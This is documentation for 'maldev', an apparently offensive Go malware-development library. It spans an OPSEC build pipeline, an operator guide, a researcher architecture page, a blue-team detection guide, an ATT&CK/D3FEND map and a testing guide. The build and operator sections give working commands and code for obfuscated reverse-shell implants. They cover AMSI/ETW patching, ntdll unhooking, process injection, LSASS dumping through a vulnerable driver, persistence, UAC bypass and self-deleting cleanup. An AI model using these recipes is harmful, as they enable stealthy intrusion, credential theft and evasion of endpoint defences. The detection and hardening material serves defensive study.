    C --> D[pe/strip.Sanitize]
    D --> E[Optional: UPX pack]
    E --> F[pe/morph.UPXMorph]
    F --> G[Final Binary]

    style B fill:#f96
    style D fill:#f96
    style F fill:#f96

OPSEC Build Pipeline

<- Back to README

Building maldev implants for operational use requires stripping Go-specific artifacts that EDR/AV products use for detection.


Quick Start

# Install garble (one-time)
make install-garble

# OPSEC release build
make release BINARY=payload.exe CMD=./cmd/rshell

# Debug build (with logging)
make debug BINARY=debug.exe CMD=./cmd/rshell

What Gets Stripped

ArtifactDetection RiskMitigation
.pclntab (Go PC-line table)Critical — single most reliable Go identifiergarble randomizes it
Package paths (github.com/oioio-space/maldev/inject)High — static YARA rulesgarble + -trimpath
String literals ("NtAllocateVirtualMemory")High — signature foddergarble -literals + CallByHash
Symbol tableMedium — function names visible in debugger-ldflags="-s" strips it
DWARF debug infoMedium — source file references-ldflags="-w" strips it
Build IDLow — links to build environment-buildid= empties it
Console windowLow — visible to user-H windowsgui hides it
Runtime panic stringsLow — "goroutine", "fatal error"garble -tiny removes them

Build Modes

Development (default)

go build -trimpath -ldflags="-s -w" -o dev.exe ./cmd/rshell
  • Symbols stripped, debug info stripped, paths trimmed
  • Still identifiable as Go (pclntab intact, strings visible)
  • Use for: testing, development, non-operational builds

Release (OPSEC)

CGO_ENABLED=0 garble -literals -tiny -seed=random \
    build -trimpath -ldflags="-s -w -H windowsgui -buildid=" \
    -o payload.exe ./cmd/rshell
  • garble randomizes all symbols and type names
  • -literals encrypts all string literals (decrypted at runtime)
  • -tiny removes panic/print support strings
  • -seed=random ensures each build is unique
  • Significantly harder to identify as Go or attribute to maldev

Debug (with logging)

go build -trimpath -tags=debug -ldflags="-s -w" -o debug.exe ./cmd/rshell
  • Enables internal/log real output (slog to stderr)
  • Use for: troubleshooting in controlled environments
  • Never deploy debug builds operationally — log strings are in the binary

CallByHash: Eliminating Function Name Strings

Even with garble, Caller.Call("NtAllocateVirtualMemory", ...) leaves function name strings in the binary because garble doesn't encrypt function arguments that are computed at runtime.

Solution: Use CallByHash with pre-computed constants:

// BAD — "NtAllocateVirtualMemory" appears in binary
caller.Call("NtAllocateVirtualMemory", ...)

// GOOD — only 0xD33BCABD (uint32) in binary
caller.CallByHash(api.HashNtAllocateVirtualMemory, ...)

Pre-computed hashes are in win/api/resolve_windows.go:

FunctionHash
NtAllocateVirtualMemory0xD33BCABD
NtProtectVirtualMemory0x8C394D89
NtCreateThreadEx0x4D1DEB74
NtWriteVirtualMemory0xC5108CC2
LoadLibraryA0xEC0E4E8E
GetProcAddress0x7C0DFCAA

For functions not in the pre-computed list, use hash.ROR13(name) at development time and hardcode the result.


garble Reference

garble is the only maintained Go obfuscator compatible with recent Go versions.

# Install
go install mvdan.cc/garble@latest

# Flags
garble [flags] build [go build flags]

# Key flags:
#   -literals     Encrypt string literals
#   -tiny         Remove extra runtime info
#   -seed=random  Random obfuscation seed per build
#   -debugdir=dir Dump obfuscated source for inspection

Limitations:

  • Increases binary size ~10-20% (encrypted strings + decryption stubs)
  • Slightly slower startup (string decryption)
  • -tiny removes fmt.Print/panic support — ensure your code handles errors via error returns, not panics
  • Cannot obfuscate the Go runtime itself (goroutine scheduler, GC)

Post-Build Verification

After building, verify OPSEC quality:

# Check for Go runtime strings
strings payload.exe | grep -iE "goroutine|runtime\.|GOROOT|go1\." | wc -l
# Target: 0 with garble -tiny

# Check for maldev package paths
strings payload.exe | grep -i "maldev\|oioio" | wc -l
# Target: 0 with garble

# Check for NT function names
strings payload.exe | grep -iE "NtAllocate|NtProtect|NtCreate|NtWrite" | wc -l
# Target: 0 with CallByHash

# Check for RWX memory (should not exist in stubs)
# Run under a debugger and check VirtualAlloc calls for PAGE_EXECUTE_READWRITE

For operators (red team)

← maldev README · docs/index

You are running an engagement. You want chains that compose, payloads that land, and OPSEC that holds. This page walks the curated reading order.

TL;DR

flowchart LR
    A[recon] --> B[evasion]
    B --> C[inject]
    C --> D[sleepmask]
    D --> E[collection / lateral]
    E --> F[cleanup]

Six packages — reconevasioninjectsleepmaskcollectioncleanup — share one *wsyscall.Caller. Plug it once, every package below it inherits the syscall stealth.

30-minute path: a working implant

[!IMPORTANT] Run from a VM. The intrusive packages call real APIs against the live OS. See vm-test-setup.md for the lab.

1. Pick your syscall stance

StanceMethodTrade-off
QuietestMethodIndirectAsm + Chain(NewHashGate(), NewHellsGate())Go-asm stub (no heap stub, no VirtualProtect cycle), ROR13-resolved SSN, randomised gadget inside ntdll
Quiet, heap stubMethodIndirect + Chain(NewHashGate(), NewHellsGate())Heap stub byte-patched + RW↔RX per call; same ntdll gadget end-effect
Quiet, simplerMethodDirect + NewHellsGate()Direct syscall instruction, no fallback. Triggers some EDR call-stack heuristics
Loud, debugMethodWinAPI (default)Standard CRT call. Useful when iterating; drop before delivery
caller := wsyscall.New(
    wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHashGate(), wsyscall.NewHellsGate()),
)

2. Disable in-process defences

Apply the evasion preset for "modern Windows endpoint":

evasion.ApplyAll([]evasion.Technique{
    amsi.ScanBufferPatch(),    // T1562.001
    etw.All(),                  // T1562.001
    unhook.Classic("ntdll.dll"), // T1562.001 — restores 4C 8B D1 B8
}, caller)

See docs/techniques/evasion/ for the full menu (HW breakpoints, callstack spoof, ACG, BlockDLLs, kernel callback removal).

3. Inject payload

Choose a method by OPSEC class:

MethodOPSECWhen
SectionMapInjectquietDefault for remote injection
PhantomDLLInjectvery-quietTargets that allow NtCreateSection(SEC_IMAGE)
ModuleStompquietLocal-only; reuses an unused-module RX page
ExecuteCallback (TimerQueue)quietLocal-only; no thread creation, no APC
CreateRemoteThreadnoisyQuick-and-dirty remote

Each accepts the same *wsyscall.Caller and stealthopen.Opener for file read stealth where applicable.

4. Sleep masking between callbacks

mask := sleepmask.New(sleepmask.StrategyEkko, caller)
mask.Sleep(60 * time.Second) // bytes XOR-encrypted, decrypted on wake

Three strategies:

  • StrategyEkko — ROP chain, encrypts current thread stack.
  • StrategyFakeJmp — JIT-rewrites a return-to-mask spot.
  • StrategyTimerQueue — pure-userland timer fall-back.

See sleep-mask.md.

5. Cleanup at end-of-mission

selfdelete.RunWithScript() // ADS rename + batch + reboot — T1070.004
memory.WipeAndFree(secret) // overwrite + VirtualFree
timestomp.CopyFrom(target, "C:/Windows/System32/notepad.exe") // T1070.006

Common operator scenarios

Credential harvest

// 1. PPL unprotect via BYOVD (RTCore64).
drv, _ := rtcore64.New(rtcore64.Config{ServiceName: "rtcore"})
drv.Install()
defer drv.Uninstall()

// 2. Dump LSASS.
dump, _ := lsassdump.Dump(caller, drv)

// 3. Parse without dropping a .dmp file.
hashes, _ := sekurlsa.Parse(dump)

→ full chain in docs/techniques/credentials/.

Persistence

// Quietest: Registry Run key
mech := registry.NewRunKeyMechanism("Updater", "C:/Users/Public/u.exe", registry.HKCU)
mech.Install()
MechanismQuietNotes
persistence/registryHKCU writable as user
persistence/startup (LNK)Drops a .lnk; AV scans the target
persistence/scheduler⚠️COM ITaskService leaves event-log entry
persistence/serviceRequires SYSTEM, very noisy

Privilege escalation

if uac.SilentCleanup().Run() == nil {
    // re-launched as High IL — chain continues
}

Four bypasses: FODHelper, SLUI, SilentCleanup, EventVwr. All are T1548.002. See privesc/uac.

Lateral movement

This library focuses on the target side. For lateral mvmt primitives (SMB, WMI, WinRM) wire up your own — c2/transport gives the re-establishment plumbing.

Build pipeline (OPSEC delivery)

opsec-build.md covers the full pipeline. Quick recipe:

# 1. Compile-time PE masquerade as cmd.exe
go build -tags 'masquerade_cmd' -trimpath -ldflags='-s -w' -o impl.exe

# 2. Strip Go pclntab + sanitize section names
go run github.com/oioio-space/maldev/cmd/sleepmask-demo \
    -in impl.exe -out impl-clean.exe

# 3. Morph (random section names + UPX-style header)
# (use pe/morph for runtime; for delivery, do it pre-flight)

OPSEC checklist

  • All packages share one *wsyscall.Caller instance — never new one per call.
  • evasion.ApplyAll(...) runs before any injection / file read.
  • sleepmask enabled between operator callbacks.
  • Build with -trimpath -ldflags='-s -w' -tags <masquerade_preset>.
  • pe/strip + pe/morph post-build.
  • No write to C:\Users\Public or %TEMP% unless absolutely needed.
  • Cleanup chain wired into shutdown path: selfdelete last.

Where to next

  • Composed examples — basic implant, evasive injection, full attack chain.
  • docs/techniques/ — every technique with API reference.
  • Researcher path — if you want to know why the Caller pattern exists, or how the kernel-callback removal actually works.

For researchers (R&D)

← maldev README · docs/index

You want to understand. This page walks the architecture, the design patterns that make every package compose, and the references behind each technique.

TL;DR

The library is built around one composable abstraction: every syscall-issuing package accepts an optional *wsyscall.Caller. The caller encapsulates the calling method (WinAPI / NativeAPI / Direct / Indirect) and the SSN-resolution strategy (chain of gates: HellsGate → HalosGate → Tartarus → HashGate). This is the maldev "Caller pattern" — read it first.

Architecture

flowchart TD
    L0["Layer 0 (pure Go)<br>crypto · encode · hash · random · useragent"]
    L1["Layer 1 (OS primitives)<br>win/api · win/syscall · win/ntapi · win/token · win/privilege<br>process/enum · process/session · kernel/driver"]
    L2T["Layer 2 (techniques)<br>evasion/* · recon/* · inject · pe/* · runtime/*<br>cleanup/* · process/tamper/* · privesc/*"]
    L2P["Layer 2 (post-ex)<br>persistence/* · collection/* · credentials/*"]
    L3["Layer 3 (orchestration)<br>c2/transport · c2/shell · c2/meterpreter · c2/cert"]

    L0 --> L1
    L1 --> L2T
    L1 --> L2P
    L2T --> L3
    L2P --> L3

Detailed dependency rules and the complete package matrix: architecture.md.

The Caller pattern

Every package that issues syscalls follows this signature:

func DoThing(args ..., caller *wsyscall.Caller) (..., error)

A nil caller falls back to WinAPI (the standard CRT path — easy debugging, noisy in production). A non-nil caller routes the call through the chosen method:

sequenceDiagram
    participant Pkg as "package (e.g. amsi)"
    participant Caller as "*wsyscall.Caller"
    participant Resolver as "SSN Gate Chain"
    participant NT as "ntdll syscall stub"
    Pkg->>Caller: NtProtectVirtualMemory(...)
    Caller->>Resolver: resolve("NtProtectVirtualMemory")
    Resolver-->>Caller: SSN 0x50
    Caller->>NT: indirect call (rcx, rdx, r8, r9, [rsp+0x28])
    NT-->>Caller: NTSTATUS
    Caller-->>Pkg: error or nil

Why this design?

  1. Uniform OPSEC tuning — change one variable, all dependent packages inherit the new stealth level. No per-call configuration sprawl.
  2. Resolver fall-back chain — if HellsGate fails (ntdll hooked), HalosGate walks down to find a clean stub. Each package gets the chain "for free".
  3. Testability — the WinAPI fall-back lets unit tests run on any Windows host without elevation, while integration tests in VMs run with MethodIndirect to validate the stealth path.

See: win/syscall/doc.go and the direct-indirect / ssn-resolvers pages.

Cross-version Windows behavior

Some techniques fail on newer Windows builds. Tracked deltas:

TechniqueWin10 22H2Win11 24H2 (build 26100)Notes
process/tamper/herpaderping.ModeRunWin11 image-load notify hardening — use ModeGhosting
cleanup/selfdelete.DeleteFile⚠️MoveFileEx(MOVEFILE_DELAY_UNTIL_REBOOT) rename-on-reboot semantics changed
process/tamper/fakecmd.SpoofPIDPROC_THREAD_ATTRIBUTE_PARENT_PROCESS tightened
inject.CallerMatrix_RemoteInject (some methods + Direct/Indirect)⚠️Cross-process write + thread-create primitives
evasion/hook test EXE(Defender flagged)(Defender flagged)Defender def-update — exclusions in bootstrap-windows-guest.ps1

Source of truth: the ## Win10 → Win11 cross-version deltas table in testing.md.

Reading order — by complexity

  1. Pure Go: crypto, encode, hash — read *_test.go first; the algorithms speak for themselves.
  2. OS-primitives: win/syscall — start here, the Caller pattern radiates out.
  3. Detection-evasion mechanics: evasion/amsi, evasion/etw, evasion/unhook. Concrete byte-pattern verification, easy to validate in x64dbg.
  4. Sleep masking: sleepmask — the Ekko ROP chain is a small masterpiece; the Go bindings preserve the semantics.
  5. Injection: inject. 15+ methods — read the CallerMatrix test in testing.md for the feature × stealth grid.
  6. In-process runtime: runtime/bof, runtime/clr. BOF/COFF parsing in pure Go; CLR hosting via ICorRuntimeHost (legacy v2 activation).
  7. Kernel BYOVD: kernel/driver/rtcore64. Layer-1 primitives (Reader / ReadWriter / Lifecycle); CVE-2019-16098 IOCTL scaffold; consumed by evasion/kcallback.Remove and credentials/lsassdump.Unprotect.

VM testing

Reproducible test harness: coverage-workflow.md.

# One-time: bootstrap VMs from scratch
bash scripts/vm-provision.sh

# Each session: full coverage with all gates open, merged report
bash scripts/full-coverage.sh --snapshot=TOOLS

The harness orchestrates Windows + Linux + Kali VMs; gating env vars (MALDEV_INTRUSIVE, MALDEV_MANUAL) unlock destructive tests safely.

How to extend

Adding a new injection method

  1. Add a Method<Name> constant to inject/method.go.
  2. Implement case MethodXxx: in WindowsInjector.Inject. The *wsyscall.Caller is already wired — call through it for any syscall.
  3. Add the method to the CallerMatrix test.
  4. Update docs/techniques/injection/ per the doc-conventions template.
  5. Tag the MITRE ID in the new package's doc.go; cmd/docgen rolls it into mitre.md.

Adding a new evasion technique

Same shape: package under evasion/<name>, exposes a function returning an evasion.Technique so it composes via evasion.ApplyAll.

References

Per-technique pages cite their own primary sources — these are the spine references for the architecture.

Where to next

For detection engineers (blue team)

← maldev README · docs/index

Every technique here has been measured against EDR / Defender / event logs. This page lists the artifacts each leaves behind, where to look, and which D3FEND counter-technique applies. Use it to write detections, plan red-team exercises, or harden endpoints.

TL;DR

[!TIP] If your goal is "what should I monitor first", focus on the noisy / very-noisy rows in the Detection Difficulty table below. Those are the techniques where the trade-off is worst for the attacker — easiest wins for the defender.

Detection difficulty matrix

Every package is annotated with a Detection level field in its doc.go. Buckets:

BucketOperator can hide it?Defender notes
very-quietYes — zero artifacts above noiseIn-process, common syscalls only. Detection requires per-process behavioural ML.
quietMostlyMinimal trace, no event log. Maybe one transient registry/file artifact.
moderateSometimesDistinguishable syscall pattern; volume-based detection works.
noisyNo without effortETW provider, event log entry, cross-process activity.
very-noisyNoSignature-detected by Defender or EDR; specific API hooks watched.

cmd/docgen (Phase 3 of the doc refactor) produces a flat table of all public packages by detection level. Until then, see each package's doc.go.

Per-area detection guidance

Syscalls — win/syscall

StanceTelemetry leftDetection vector
MethodWinAPIStandard CRT callNone — looks like any benign program
MethodNativeAPIntdll!Nt* direct callFrequency-based: a process making 200+ NT calls/sec is unusual
MethodDirectsyscall instruction inside loaded moduleEDR call-stack walking detects RIP not in ntdll. D3-PCM (Process Code Modification)
MethodIndirectsyscall instruction inside ntdll (jumped to from caller via heap stub)Hard to detect from user-mode. Heap stub page is RW↔RX-cycled per call — VirtualProtect rate may be a heuristic. Kernel-mode ETW (TI events) sees the issuing thread. D3-PSM (Process Spawn Monitoring)
MethodIndirectAsmSame end-effect as MethodIndirect but stub lives in implant .text (Go-asm, fixed RVA)No VirtualProtect heuristic. YARA on the asm stub bytes still possible — morph or strip. D3-PSM

[!NOTE] ETW Threat Intelligence provider (Microsoft-Windows-Threat-Intelligence) emits EVENT_TI_NTPROTECT and EVENT_TI_NTALLOCATEVIRTUAL regardless of whether the call came from ntdll or a direct syscall instruction. Subscribing to TI events is the single best detection investment for this area.

AMSI / ETW patching — evasion/amsi, evasion/etw

ArtifactWhere
3-byte patch in amsi.dll!AmsiScanBuffer (31 C0 C3)Memory scan of amsi.dll RX section after process load
4-byte patch in ntdll.dll!EtwEventWrite{,Ex,Full,String,Transfer} (48 33 C0 C3)Memory scan of ntdll.dll RX
NtProtectVirtualMemory call switching RX → RWX → RX on amsi/ntdllETW TI / EDR call-stack inspection
Reduced AMSI scan rate from PowerShell hostPowerShell Microsoft.PowerShell.AMSI provider drops to zero

Hunt query (KQL pseudo-code):

DeviceImageLoadEvents
| where FileName == "amsi.dll"
| join DeviceProcessEvents on InitiatingProcessId
| project ProcessName, AmsiBytes = read 3 bytes at AmsiScanBuffer offset
| where AmsiBytes != original_bytes

D3FEND counters: D3-PSM (Process Spawn Monitoring), D3-PMC (Process Module Code Manipulation Detection). Hardening: **AMSI Provider DLL pinned

  • signed**.

ntdll unhooking — evasion/unhook

ArtifactWhere
NtCreateSection/NtMapViewOfSection call sequence opening a fresh ntdll.dll from diskProcess memory access pattern
Original syscall stubs 4C 8B D1 B8 … re-written over EDR-hooked onesRX-page scan; compares running ntdll bytes against on-disk

Hunt: memory-scan ntdll RX section for stubs that diverge from on-disk bytes after the EDR's hook installer ran.

Sleep masking — evasion/sleepmask

ArtifactWhere
Process thread stack XOR-encrypted during sleepKernel thread-stack walking detects high-entropy stack regions
ROP chain (StrategyEkko)EDR call-stack heuristics — return addresses on stack don't match valid call sites
Timer queue API spike (StrategyTimerQueue)RtlCreateTimer, WaitForSingleObject patterns

D3FEND: D3-PSEP (Process Self-Modification). Hardening: kernel thread-stack walking on a 5–30 second cadence.

Injection — inject

Per-method telemetry (excerpt; full table per technique page):

MethodETW TI eventsDetection difficulty
MethodCreateThreadEVENT_TI_NTCREATETHREADvery-noisy
MethodCreateRemoteThreadEVENT_TI_NTCREATETHREADEX cross-processvery-noisy
MethodEarlyBirdAPCEVENT_TI_NTQUEUEAPCTHREAD + suspended processnoisy
MethodSectionMapNtCreateSection + NtMapViewOfSection(EXECUTE)quiet
MethodPhantomDLLNtCreateSection(SEC_IMAGE) from a non-existent on-disk pathvery-quiet
MethodKernelCallbackTableKernelCallbackTable write to PEBvery-quiet (rare in legit)
MethodModuleStompRX-page write to a loaded modulequiet
MethodThreadHijackNtSuspendThread + NtSetContextThread cross-processnoisy

See docs/techniques/injection/ for the per-method artifact list.

Credential access — credentials/*

PackageTelemetry
credentials/lsassdumpOpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, …, lsass.exe PID) from non-system context
credentials/sekurlsaNone standalone — operates on a dump file
credentials/samdumpLive mode: reg.exe save HKLM\SAM …. Offline: file read of registry hive
credentials/goldenticketLsaCallAuthenticationPackage(KerbSubmitTicketMessage, …) — visible in TI provider

Hardening: Credential Guard (LSASS in VTL1) defeats lsassdump write/read; Protected Process Light (PPL) requires the BYOVD unprotect path which is itself detectable via signed-driver provenance events (Sysmon Event 6).

Persistence — persistence/*

MechanismEvent logSysmon equivalent
Registry Run/RunOncenone built-inEvent 12 / 13 (registry write)
Startup folder LNKnoneEvent 11 (file create)
Scheduled Task (COM)TaskScheduler-Operational 4698Event 4698
Windows Service installSystem log 7045Event 4697
Local account creationSecurity 4720

D3FEND: D3-RAPA (Resource Access Pattern Analysis), D3-PFV (Persistent File Volume Inspection).

Cleanup — cleanup/*

The most-overlooked area for blue. Cleanup deliberately removes artifacts the rest of the chain would have left.

TechniqueWhat it erasesWhat it leaves
cleanup/selfdeleteImplant binary on diskNTFS $Bitmap change, $LogFile entry, ADS rename log
cleanup/timestompFile timestamp recency$STANDARD_INFORMATION updated; $FILE_NAME MFT timestamps unchanged (forensic disparity)
cleanup/wipe (memory.WipeAndFree)Sensitive bytes in process memoryNtFreeVirtualMemory call
cleanup/adsStream existenceNTFS $Data:streamname MFT entry remains visible to MFT-aware tooling
cleanup/bsodAll in-memory stateCrash dump (if configured)

Forensic detection: MFT inconsistency between $STANDARD_INFORMATION and $FILE_NAME timestamps is the canonical timestomp tell.

Hardening recommendations

  1. Enable ETW Threat Intelligence provider and ship its events to your SIEM. Single highest-leverage signal for this entire library.
  2. Credential Guard + LSASS in PPL (kernel RunAsPPL=1).
  3. WDAC / AppLocker with publisher allow-list — defeats Donut-loaded PE shellcode if PE policy applies (depends on AMSI integration).
  4. Sysmon with SwiftOnSecurity baseline covers most artifact categories above.
  5. Driver block-list policy — Microsoft's vulnerable driver block list includes RTCore64; enable it.

Hunt repository (placeholder)

[!NOTE] A docs/hunts/ directory with Sigma rules and KQL queries per technique is on the Phase 5 roadmap. Until then, the per-technique "OPSEC & Detection" sections (mandatory by doc-conventions) carry the hunt-relevant artefacts.

Where to next

  • Researcher path — same techniques explained from the attacker design angle.
  • Operator path — see how the chain composes; useful for red-team / purple-team coordination.
  • MITRE map — full ATT&CK / D3FEND reconciliation.
  • docs/techniques/ — drill into any specific technique.

MITRE ATT&CK + D3FEND Coverage

← Back to README

ATT&CK Techniques

ATT&CK IDTechnique NamePackage(s)D3FEND Countermeasure
T1016System Network Configuration Discoveryrecon/network (interfaces, gateway, DNS, public IP), win/domain (paired use)D3-NTPM (Network Traffic Pattern Matching)
T1027Obfuscated Files or Informationevasion/sleepmask, pe/strip, crypto (TEA/XTEA/ArithShift/SBox/MatrixTransform), win/api (PEB-walk hash imports)D3-SMRA (System Memory Range Analysis)
T1027.002Software Packingpe/morphD3-SEA (Static Executable Analysis)
T1027.007Dynamic API Resolutionwin/api (Hell's/Halo's/Tartarus/HashGate resolvers), win/syscall (SSN gating chain)D3-SCA (System Call Analysis)
T1027.013Encrypted/Encoded Filecrypto, encodeD3-FCA (File Content Analysis)
T1036Masqueradingevasion/stealthopen, evasion/callstack (call-stack spoof metadata)D3-FHA (File Hash Analysis)
T1036.005Masquerading: Match Legitimate Name or Locationprocess/tamper/fakecmd (self + remote via SpoofPID), pe/masqueradeD3-PLA (Process Listing Analysis)
T1047.001Boot or Logon Autostart Execution: Registry Run Keyspersistence/registryD3-SBV (Service Binary Verification)
T1003.001OS Credential Dumping: LSASS Memorycredentials/lsassdump (producer — dump + PPL unprotect), credentials/sekurlsa (consumer — pure-Go MSV1_0 + Wdigest + Kerberos + DPAPI + TSPkg + CloudAP + LiveSSP + CredMan parser; PTH write-back into live lsass)D3-PSA (Process Spawn Analysis), D3-SICA (System Image Change Analysis)
T1003.002OS Credential Dumping: Security Account Managercredentials/samdump (offline SAM/SYSTEM hive dump — pure-Go REGF parser + boot-key permutation + AES/RC4 hashed-bootkey derivation + per-RID DES de-permutation; live mode via reg save)D3-PSA (Process Spawn Analysis), D3-FCA (File Content Analysis on reg save artefacts)
T1550.002Use Alternate Authentication Material: Pass the Hashcredentials/sekurlsa (Pass / PassImpersonate — spawn under LOGON_NETCREDENTIALS_ONLY, NtWrite MSV + Kerberos hashes back into live lsass for the spawned LUID; SetThreadToken duplicate-token impersonation)D3-PSA, D3-SICA
T1550.003Use Alternate Authentication Material: Pass the Ticketcredentials/sekurlsa (KerberosTicket.ToKirbi / ToKirbiFile — emit mimikatz-format KRB-CRED with replayable session key); credentials/goldenticket (Submit — LsaCallAuthenticationPackage(KerbSubmitTicketMessage))D3-NTA (Network Traffic Analysis on Kerberos AP-REQ patterns)
T1558.001Steal or Forge Kerberos Tickets: Golden Ticketcredentials/goldenticket (Forge — pure-Go PAC marshaling + KRB5 ticket signing with operator-supplied krbtgt key)D3-NTA
T1053.005Scheduled Task/Job: Scheduled Taskpersistence/schedulerD3-SBV (Service Binary Verification)
T1055Process Injectioninject (15 methods), process/tamper/herpaderping (ModeHerpaderping + ModeGhosting; both work on Win10/Win11 ≤ 26100, blocked on Win11 26100+)D3-PSA (Process Spawn Analysis)
T1055.001DLL Injectionpe/srdi, inject/phantomdllD3-SICA (System Image Change Analysis)
T1055.003Thread Execution Hijackinginject (ThreadHijack)D3-PSA
T1055.004Asynchronous Procedure Callinject (QueueUserAPC, EarlyBirdAPC, NtQueueApcThreadEx)D3-PSA
T1055.012Process Hollowinginject (SpawnWithSpoofedArgs)D3-PSMD (Process Spawn Monitoring)
T1068Exploitation for Privilege Escalationprivesc/cve202430088 (kernel TOCTOU race), kernel/driver/rtcore64 (BYOVD IOCTL R/W)D3-EAL (Exploit Activity Logging), D3-DLIC (Driver Load Integrity Checking)
T1078Valid Accountswin/privilege (alt-creds spawn via Secondary Logon), win/impersonate (alt-creds → thread context swap)D3-UAP (User Account Profiling)
T1056.001Input Capture: Keyloggingcollection/keylogD3-KBIM (Keyboard Input Monitoring)
T1057Process Discoveryprocess/enumD3-PLA (Process Listing Analysis)
T1059Command and Scripting Interpreterc2/shell, c2/meterpreter, runtime/bofD3-EFA (Executable File Analysis)
T1070Indicator Removal on Hostcleanup/memoryD3-SMRA
T1070.004File Deletioncleanup/selfdelete, cleanup/wipeD3-FRA (File Removal Analysis)
T1070.006Timestompcleanup/timestompD3-FHA (File Hash Analysis)
T1071.001Web Protocolsc2/transport/malleable, c2/transport/namedpipeD3-NTA (Network Traffic Analysis)
T1082System Information Discoverywin/domain, win/versionD3-SYSIP (System Information Profiling)
T1083File and Directory Discoveryrecon/folderD3-FDA (File Discovery Analysis)
T1106Native APIwin/api (PEB walk, API hashing), win/syscall, win/ntapi, pe/imports (import table enumeration)D3-SCA (System Call Analysis)
T1113Screen Capturecollection/screenshotD3-DA (Dynamic Analysis)
T1115Clipboard Datacollection/clipboardD3-DA (Dynamic Analysis)
T1120Peripheral Device Discoveryrecon/driveD3-PDD (Peripheral Device Discovery)
T1134Access Token Manipulationwin/token, win/privilegeD3-TAAN (Token Auth Normalization)
T1134.001Token Impersonation/Theftwin/impersonate, win/token, privesc/cve202430088 (_EPROCESS.Token swap)D3-TAAN
T1134.002Create Process with Tokenprocess/session, win/privilege (Secondary Logon path)D3-TAAN
T1134.004Parent PID Spoofingc2/shell (PPID spoofing chain), win/impersonate (RunAsTrustedInstaller lineage)D3-PSA (Process Spawn Analysis)
T1136.001Create Account: Local Accountpersistence/accountD3-UAP (User Account Profiling)
T1204.002User Execution: Malicious Filepersistence/lnkD3-EFA (Executable File Analysis)
T1497Virtualization/Sandbox Evasionrecon/sandboxD3-DA (Dynamic Analysis)
T1497.001System Checksrecon/antivmD3-DA
T1497.003Time Based Evasionrecon/timingD3-DA
T1529System Shutdown/Rebootcleanup/bsodD3-DA (Dynamic Analysis)
T1014Rootkitkernel/driver/rtcore64 (BYOVD — RTCore64 / CVE-2019-16098)D3-DLIC (Driver Load Integrity Checking)
T1543.003Create or Modify System Process: Windows Servicepersistence/service, cleanup/service, kernel/driver/rtcore64 (signed-driver service install)D3-SBV (Service Binary Verification)
T1547.009Shortcut Modificationpersistence/lnk, persistence/startupD3-FDA (File Discovery Analysis)
T1548.002Bypass UACprivesc/uac, recon/dllhijack (AutoElevate scanner)D3-UAP (User Account Profiling)
T1553.002Subvert Trust Controls: Code Signingpe/certD3-SEA (Static Executable Analysis)
T1562.001Disable or Modify Toolsevasion/amsi, evasion/etw, evasion/unhook, evasion/acg, evasion/blockdlls, evasion/kcallback (kernel callback enumeration)D3-AIPA (Application Integrity Analysis)
T1562.002Disable Windows Event Loggingprocess/tamper/phant0mD3-EAL (Execution Activity Logging)
T1574.001Hijack Execution Flow: DLL Search Order Hijackingrecon/dllhijack (discovery) · pe/dllproxy (payload generator)D3-PFV (Process File Verification)
T1574.002Hijack Execution Flow: DLL Side-Loadingpe/dllproxy (forwarder DLL emitter)D3-PFV (Process File Verification)
T1574.012Hijack Execution Flow: Inline Hookingevasion/hookD3-AIPA (Application Integrity Analysis)
T1564Hide Artifactscleanup/serviceD3-FRA
T1564.001Hide Artifacts: Hidden Processprocess/tamper/hideprocessD3-PLA (Process Listing Analysis)
T1564.004Hide Artifacts: NTFS File Attributescleanup/adsD3-FRA (File Removal Analysis)
T1620Reflective Code Loadingruntime/clrD3-AIPA (Application Integrity Analysis)
T1571Non-Standard Portc2/multicat (operator-side multi-session listener)D3-NTA (Network Traffic Analysis)
T1573.002Asymmetric Cryptographyc2/transport (TLS, uTLS)D3-DNSTA (DNS Traffic Analysis)
T1622Debugger Evasionrecon/antidebug, recon/hwbpD3-DICA (Debug Instruction Analysis)

D3FEND Defensive Techniques

The D3FEND column above indicates which defensive technique a blue team would use to detect each maldev capability. This helps red teamers understand what they're evading and blue teamers understand what to implement.

graph TD
    subgraph "Attack Techniques (Red)"
        I[Injection T1055]
        E[Evasion T1562]
        S[Syscall Bypass T1106]
        C[C2 T1071/T1573]
    end

    subgraph "D3FEND Countermeasures (Blue)"
        D1[D3-PSA<br>Process Spawn Analysis]
        D2[D3-AIPA<br>App Integrity Analysis]
        D3[D3-SCA<br>System Call Analysis]
        D4[D3-NTA<br>Network Traffic Analysis]
        D5[D3-SMRA<br>Memory Range Analysis]
    end

    I --> D1
    I --> D5
    E --> D2
    S --> D3
    C --> D4

    subgraph "maldev OPSEC Counters"
        O1[Indirect syscalls<br>defeat D3-SCA]
        O2[Sleep mask<br>defeats D3-SMRA]
        O3[uTLS JA3 spoofing<br>defeats D3-NTA]
        O4[Unhooking<br>defeats D3-AIPA hooks]
    end

    D3 -.->|bypassed by| O1
    D5 -.->|bypassed by| O2
    D4 -.->|bypassed by| O3
    D2 -.->|bypassed by| O4

Testing Guide — maldev

Scope. This document covers per-test-type details: the injection matrix, Meterpreter end-to-end, evasion byte-pattern verification, BSOD, collection and token tests. For bootstrap (VM creation, SSH keys, INIT snapshot) see docs/vm-test-setup.md. For the reproducible coverage collection workflow (merged host + Linux VM + Windows VM + Kali) see docs/coverage-workflow.md.

Overview

The maldev project uses a multi-layered testing strategy:

  1. Unit tests (go test ./...) — 64 packages, 500+ tests
  2. VM integration tests (MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1) — privileged operations in isolated VMs
  3. memscan binary verification (scripts/vm-test-memscan.go) — 77 byte-pattern sub-checks read via the memscan HTTP API
  4. Meterpreter end-to-end — real shellcode → real MSF sessions on Kali
  5. BSOD verification — crashes the VM, restores the snapshot (uses the cmd/vmtest driver; see scripts/vm-test.ps1)

Running Tests

# Local (safe, non-intrusive)
go build $(go list ./...)
go test $(go list ./... | grep -v scripts) -count=1 -short

# VM — all tests including intrusive (win10)
./scripts/vm-run-tests.sh windows "./..." "-v -count=1"

# VM — same suite on a second Windows build (cross-version coverage)
./scripts/vm-run-tests.sh windows11 "./..." "-v -count=1"

# VM — sweep all targets (windows + windows11 + linux)
./scripts/vm-run-tests.sh all "./..." "-count=1"

# VM — with manual/dangerous tests
MALDEV_INTRUSIVE=1 MALDEV_MANUAL=1 go test ./... -count=1 -timeout 300s

# memscan binary verification (77-row matrix, from host)
go run scripts/vm-test-memscan.go

# Meterpreter matrix (from host, needs Kali)
# See Meterpreter section below

Test Gating

Environment VariablePurpose
